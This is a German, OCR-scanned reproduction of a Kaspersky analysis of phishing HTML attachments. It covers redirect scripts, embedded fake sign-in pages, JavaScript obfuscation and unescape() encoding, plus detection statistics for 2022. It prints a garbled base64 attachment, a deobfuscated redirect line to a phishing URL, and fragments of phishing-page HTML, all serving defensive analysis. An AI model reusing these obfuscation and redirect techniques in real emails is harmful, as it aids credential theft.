HTML-Anhange in Phishing-E-
Mails

Overview of phishing HTML attachments in
e-mail

In this article we review phishing HTML attachments,
explaining common tricks the attackers use, and give
statistics on HTML attachments detected by Kaspersky
solutions.

Die Verwendung eingebetteter HTML-Dokumente in Phishing-E-
Mails ist eine Standardtechnik, die von Cyberkriminellen
eingesetzt wird. Dadurch entfallt die Notwendigkeit, Links in
den E-Mail-Text einzufugen, was Antispam-Engines und E-Mail-
Antivirenprogramme normalerweise problemlos erkennen. HTML
bietet mehr Moglichkeiten als E-Mail, Phishing-Inhalte zu
tarnen.


https://wissen.web-werkstatt.at/cybersecurity/html-anhaenge-in-phishing-e-mails/
https://wissen.web-werkstatt.at/cybersecurity/html-anhaenge-in-phishing-e-mails/

Es gibt zwei Haupttypen von HTML-Anhangen, die Cyberkriminelle
verwenden: HTML-Dateien mit einem Link zu einer gefalschten
Website oder eine vollwertige Phishing-Seite. Im ersten Fall
konnen die Angreifer nicht nur einen Link in der Datei
verbergen, sondern den Benutzer beim Offnen dieser Datei auch
automatisch auf die betrigerische Seite umleiten. Die zweite
Art von HTML-Anhang ermoglicht es, die Erstellung der Website
ganz zu UuUberspringen und Hosting-Kosten zu sparen: Das
Phishing-Formular und das Skript, das die Daten sammelt,
werden direkt in den Anhang eingebettet. Daruber hinaus kann
eine HTML-Datei wie eine E-Mail entsprechend dem
beabsichtigten Opfer und dem Angriffsvektor geandert werden,
was personalisiertere Phishing-Inhalte ermoglicht.
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Bedrohung gesichert

Wir haben
Eingehende E-Mail "YOUR DEVICE AND EMAIL HAS BEEN COMPROMISE...

in die Quarantane verschoben, da es mit HTML:ExtortMail-JS [Scam] infiziert
war

Soll Ihr Computer auch auf andere Probleme gescannt werden?

MEINEN PC UBERPRUFEN ALLE SCHLIESSEN (2)

Details ausblenden -

Name der Bedrohung HTML:ExtortMail-JS [Scam]

Dateipfad Eingehende E-Mail 'YOUR DEVICE AND EMAIL HAS
BEEN COMPROMISED CHECK THIS MESSAGE
NOW!' Von: support@wordpresshosting24.com, An:
support@wordpresshosting24.com

Prozess C:A\Program Files\Mozilla
Thunderbird\thunderbird.exe

Erkannt durch E-Mail-Schutz

Status In die Quarantane verschoben |

() 0O Weitere erkannte Bedrohungen < 1/ 2>
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Incoming Payment Advice Ref: HSBC 77501 : Valuedate - 3/30/2022
= | Your Payment Advice TT-_480586% (1) (1).PDF.. HtmLHtM
yw 2 KB
Dear

This payment advice was issued/executed through the instruction of vour customer.
Kindly see attached bank transcript/advice and confirm the Bank details are correct.

File 1s protected for security reasons.

Please treat as urgent if any questions and clarification please do not hesitate to contact us.

Best Regards

James

Abb.1. Beispiel-E-Mail mit HTML-Anhang

Struktur von Phishing-HTML-Anhangen

Phishing-Elemente in HTML-Anhangen werden normalerweise
mithilfe von JavaScript implementiert, das die Weiterleitung
des Benutzers auf eine Phishing-Site oder das Sammeln und
Senden von Anmeldeinformationen an Betruger Ubernimmt.


https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/05/13150122/HTML_attachments_in_phishing_emails_01.jpeg
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Abb. 2. Phishing-HTML-Seite und ihr Quellcode

Typischerweise sendet die HTML-Seite Daten an eine im Skript
angegebene schadliche URL. Einige Anhange bestehen vollstandig
(oder groBtenteils) aus einem JS-Skript

Im E-Mail-Quellcode sieht der HTML-Anhang wie einfacher Text
aus, der normalerweise Base64-codiert ist
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creation—-date="Wed, 30 Mar 2022 12:35:21 GMTI";

Content-Transfer-Encoding: base&4

PGhObWwgbGFuZz0iZW4iPglEIDxkaXYgaW0 o9 InlhaWiBbGwiIGRhdGELZWlhaWxWYWx1ZTOidFSx
YXIpbWo20HIve2 51 ZnQucnUiPjwvZIGl2PgiEPHN jecmlwdD4oECkSPntnkb3Toaj lmdW5jdG1lvhigp
e2ZvcihDPSdijFTbGGﬂﬁmRhWDJYﬂﬂﬂﬁﬂﬂvaythWE1dyBBanheShDmelhdeaCkszDwﬁzwﬁ
aC53ZWindGgThbCsrENFbEF0%aC5jaGFyQ2 Sk ZUFOEGwp O3 J1dHVyLiBhfSgpL.G09bTO0+ZG9jdW11
bnQud3JpdGUobSksaz 1 kZWHvZGVVUkkoIiTuY25uY2FO0ECT3aXR3YWSt ZXRulW SpdmVEJTTHDaWg 9
aXRpdFEVEHZ1ZXOxc3QIH i TIMOVybnR1 JT IwLWM1M ) IS JTHFEWE IMONGaW S udGVu ZWU1MOVsTUCTy
MHZpdWVOLT1luRHFOVAVPHQIMONpaW0 1MONpc3 1 kPWFkZWWIH  Bp ¥ zbGR1MOTSaHMIMON1 cGVR
PWRSaSUyMnSuYzpuJTdCYWilneFS1 ZGHwaXRiLGoudGk1MjB=Z25U=z02N0JTIvb2x=KD1 0cmF 0 cnU1
MiAINUIvEmRObBCSvd2EveWdv I INFY TEXZWkEt JTHDOTY 3¥YTVOY2NsHN310ZGYzMylieWNhZDInYmT vy
JIIwLWREvNmtyY2ZEY2N1L25ibGU2JTHNFdHRve2gSL3VPMGF 0T cucnRIHG0phbiwsMCOyMiVIWcHR s
MSwIMiI2JTIyanmhOLz11TU3RyJTIydGUIMjJUQWVIc2c4 Z2kxveCws Z0UyMed t LWV1JTIyJT Iy JTIy
ayUyHmImZn ¥ 1bexv YN VuMnVhbCxpHFY t ZnEc ZHUIMj T1Mj JsJTIval 81 JTIyLEQsMDdpZFluklss
OXRrJTIyM2xwWIglMjJ=zJTIyWiAzZiUyMiMyRDUwZT It Mkl oMM JTIyJTIyNT J1Mnwl M IxYihO
EXRkeTU1 Z5UyMnRcdSUyHmd wHWVCHGFYOCUyMiTyM ] 1 v DUsTURNVzR2ZHIH ) JvUGZ JAdENnbLG10TDUL
MiJIxb2UIMIIIMj J=zUyTUyMnIyZ5UyMktOLGESciUyMj 1uRDd IMDgwdFUE ZTZ2jdGJy JIVECW4sM1 5u
JITIwEHgINORScGludWoTUEGS ZEWNcwemd 1 JTdCdCws JT IwZnh fdSUyMmMo SXQ1dGE 1IN0 IwaSUyMCgw
b25fZ5kK1IMjJiECxvNHBzc i Vu T IwdSx 1K hf0zd1NmS 02 5xydHIJ1ECUYyMEdpbiU30mSjJTIvaTlG
bzs4KHROLixvPTBI1ECUIRCU1IQkctcjASYzAzdGIy JIVEY3QELj Jic2YIMjAINORyXy11leDsoMDd]
Yy4zbml j JTAEIXgwinRubnMzdX0weGRvY 3huM30pPSUyMDEOPTATZTAINO I Y gob2NjN ) OwHMGZu
KSgtEGZIJZWSpPT lnMzRyEThudDUcKjM0Z5x6bjEpdHR]l cykoY =¥ zd DI yEXMOOULvENSuEHI S ZTUL
MudvEDVydGl1ETZJX3RhbyglHOJjEEkpZTRhY 2FzETVILGSwHX RN 2VIKSgyYTt0cj kyecyx JLXJu
eTs0Z510KGFWwe3I SMnMpSS s SbmIwKGUpdCgtEHFyNDI=zYUkr L2 SzNyhyNXEQoESkscDJ1YXB=zKill
cjRu¥YTJJEDkzMy=soKHATrci Bpc2EySXJoZXRpLzUpc3BikK2TUpM2 FwED=sodGsudS1loZ2ihjdD0pe=0p
cGVIECEINOROY ykEIM ) JzEXRoL2MuMy SwZWhzbHNmYy11L2Fshi S0KTQIHj Ao ZW110WVRODARdWI 1
b5SuZCh0CHRIECKINUJ4NzRjESUyMnwlNUOn JT I yHm Ve L2 SpMiBhQT IoMGIE JTVECTdieHOoaGHO
MuwyET 8p Y2 JpbShiNGIJoMnBhEWE 1 KWUo JTAEASh4X2MIN0JudSh=z02 1 sMT 1 v JTVCCHUpHmT 1INSTU 3
RCkyViUlRGOhNyx jKHgINUOIyMC1vLilld=T3aTowZHgybnd0 JTVCL181EDBiNWS sNzVulX N1 Ynd s
eGHOZ3JwXzolMjTolzkwe2szL283VnRINzFINS4uYWH1CyE0Y28 1 ZDdyMS ImLWFEY TAy YmTt MC Sm
ZiBy¥YTHOaz JiVTEAN jMwYnM LNNpYXBybWh f¥YniubHVub2Rhc2 4uMCktbG5jVnRsbT J1aDIpNyU1l
RGUoNZEreCkINSUIRGIINOIhOWZOY j JpMj JEZDVidykS eG4 Y yvhnNjQIET IpNTY2MDMyeDU3d2J41
ZnEyvOVESKED1 zNzc S KN JEM Bl YmRIMi hyEDJpJT IvET I L2 JvMHMjdOM2 FEEVEwNiU=0z 1vEWO 1M0OTUo
Z5sxJTHNFbyvhfOnQIN2H0aXAuZ 30X ZWwsYWHuZGE SJTTVCLHQt LS UyMGHE YWIDZTQOKCTU1IRCT1Q1 84
eD1lh¥mZhJTIwb2 81 bmUINUROPTB4NT 1iEGVO4dSUyMGhodCl1 zMHN 1 KG1wdC0iESkuc3BsaXQoIilp
LGcBayS5siWindGglaiSsZWindGgsbDlrlmx 1 bmd0aCix02w+PTATHCOtEWct LSwtMT 08 2y ¥YmE G
2i5sZWindGgtMSksZ2j1sE2pkbZl0sZ2i4%aySsZWsndGhEfChi PNt FO0sYjlrW2ZdLGthZ109Y yxr
W2xdPWIpO2ZvcihuPW0saT0iTixsPTAThDXrImx1bmd0alDtsEyspaSs9%altsXTtulGkpEfSkoKTs8
L3NjcmlwdD4NCgOKEPCS0dGlsPglE

—-— 004 300520220345075CA08DD944240CFTECTBsaragihclub —-

Abb. 3. HTML-Anhang im E-Mail-Quellcode

Wenn eine Dateli bodsartige Skripte oder Links im Klartext
enthalt, kann die Sicherheitssoftware sie schnell analysieren
und blockieren. Um dies zu vermeiden, greifen Cyberkriminelle
auf verschiedene Tricks zuruck.
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JavaScript-Verschleierung

JavaScript-Verschleierung 1ist eine der am haufigsten
verwendeten Techniken zur Verschleierung von HTML-Anhangen. Um
zu verhindern, dass die URL in der Datei schnell erkannt und
blockiert wird, verschleiern Phisher entweder den Phishing-
Link selbst oder das gesamte Skript und manchmal auch die
gesamte HTML-Datei. In manchen Fallen verschleiern
Cyberkriminelle den Code manuell, oft nutzen sie jedoch
vorgefertigte Tools, von denen viele frei verfugbar sind, wie
etwa JavaScript Obfuscator .

Wenn wir beispielsweise den HTML-Anhang in der angeblich von
der HSBC Bank stammenden Phishing-E-Mail (siehe Abb. 1) in
einem Texteditor offnen, sehen wir einen ziemlich verwirrenden
JS-Code, der scheinbar weder auf das Offnen eines Links noch
darauf hinweist jede andere sinnvolle Aktion.

Abb. 4. Beispiel fiir Verschleierung in einem HTML-Anhang

Tatsachlich handelt es sich jedoch um ein verschleiertes
Skript, das den Benutzer auf eine Phishing-Site weiterleitet.
Umn den Phishing-Link zu verschleiern, verwendeten die
Angreifer ein vorgefertigtes Tool, mit dem wir das Skript
leicht entschlusseln konnten.

window.location|[ O0x5Tb&%2b(252)] = "https:f/storageapi.fleek.co/651cT3d5-afTl-4d2f-affb-cédfSfdiZlaé-bucket/gound/r sound .htm#" + emailValue)

Abb. 5. Entschliisseltes Skript aus einem E-Mail-Anhang, der
scheinbar von der HSBC Bank stammt: Link zur Weiterleitung des
Benutzers

Wenn ein Skript, ein Link oder eine HTML-Seite manuell
verschleiert wird, ist es viel schwieriger, den ursprunglichen


https://github.com/javascript-obfuscator/javascript-obfuscator
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Code wiederherzustellen. Um Phishing-Inhalte in einer solchen
Datei zu erkennen, ist moglicherweise eine dynamische Analyse
erforderlich, die das Ausfihren und Debuggen des Codes
umfasst.

Codierung

Manchmal verwenden Angreifer interessantere Methoden. In einer
Phishing-E-Mail fanden wir beispielsweise einen ungew6hnlichen
HTML-Anhang. Wie im obigen Beispiel enthielt es JavaScript. Da
der Code so kompakt war, konnte man meinen, dass er das
Gleiche tat wie der Code in der gefalschten HSBC-E-Mail -
namlich den Benutzer auf eine Phishing-Site umzuleiten. Aber
als wir es ausfuhrten, fanden wir eine vollwertige Phishing-
Seite, die in diesem kleinen Skript codiert war.

Abb. 6. HTML-Datei mit der Methode unescape() — der Quellcode
der Datei enthalt nur fiinf Zeilen, von denen eine leer ist
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Abb. 7. Phishing-Seite im HTML-Anhang

Die Cyberkriminellen nutzten einen interessanten Trick, bei
dem es sich um die veraltete JS-Methode unescape() handelt.
Diese Methode ersetzt die ,%xx“-Zeichenfolgen durch ihre
ASCII-Entsprechungen in der an sie ubergebenen Zeichenfolge.
Wenn wir das Skript ausfuhren und den Quellcode der
resultierenden Seite anzeigen, sehen wir einfaches HTML.

<div class

Exdlv class
<div class

<div

N

"action-links text-13">
»<a href="#">Forgot my password</a></div>
fdiv>

<div class

</div

<Sfdiv>

< -"fjl'."

<div class=
div

<div class="button-container col-xs-24 no-padding-left-right">

<div class
<button class="btn btn-block btn-primary btn-signin">Sign-in</button>
</div>
fdiv
</div
< /fdiv>
</fdiv>
</div
fdiv
</div
<Sfdiv>
Zdiv>
</div><div id="footer" class="footer default new-background-image" role="contentinfo" data-bind="css: %7B
#27defanlt%27: !'backgroundLogoUrl () %2C
#2Tnew-background-image®27: useNewDefanltBackground %7D">
<div data-bind="component: %7B name: %27footer-control%27%2C
publicMethods: footerMethods%2C

Abb. 8. Die resultierende HTML-Datei

Anstelle von unescape() verwendet JavaScript jetzt die
Methoden decodeURI() und decodeURIComponent(), die meisten
modernen Browser unterstutzen jedoch weiterhin unescape(). Wir
konnen nicht sicher sagen, warum die Angreifer eine veraltete
Methode gewahlt haben, aber es konnte daran liegen, dass
moderne Methoden eher von Antispam-Engines interpretiert und
erkannt werden.

Statistiken

In den ersten vier Monaten des Jahres 2022 haben die
Sicherheitslosungen von Kaspersky fast 2 Millionen E-Mails mit
schadlichen HTML-Anhangen entdeckt. Fast die Halfte davon
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(851.328) wurde im Marz entdeckt und blockiert. Der Januar war
der ruhigste Monat. Unsere Antispam-Losungen erkannten 299.859
E-Mails mit Phishing-HTML-Anhangen.

https://e.infogram.com/ /RJIfpgOWY4DJscTn557Rk?parent url=https
%3A%2F%2Fsecurelist.com%2Fhtml-attachments-in-phishing-e-
mails%s2F106481%2F&src=embed#async embed

Anzahl der erkannten E-Mails mit schadlichen HTML-Anhangen,
Januar-April 2022 ( Download )

Abschluss

Phisher nutzen verschiedene Tricks, um die E-Mail-Blockierung
zu umgehen und moéglichst viele Nutzer auf ihre betrugerischen
Seiten zu locken. Eine gangige Technik sind HTML-Anhange mit
teilweise oder vollstandig verschleiertem Code. Mithilfe von
HTML-Dateien konnen Angreifer Skripte verwenden, bosartige
Inhalte verschleiern, um deren Erkennung zu erschweren, und
Phishing-Seiten als Anhange statt als Links versenden.

Die Sicherheitsldsungen von Kaspersky erkennen HTML-Anhange,
die Skripte enthalten, unabhangig von der Verschleierung.
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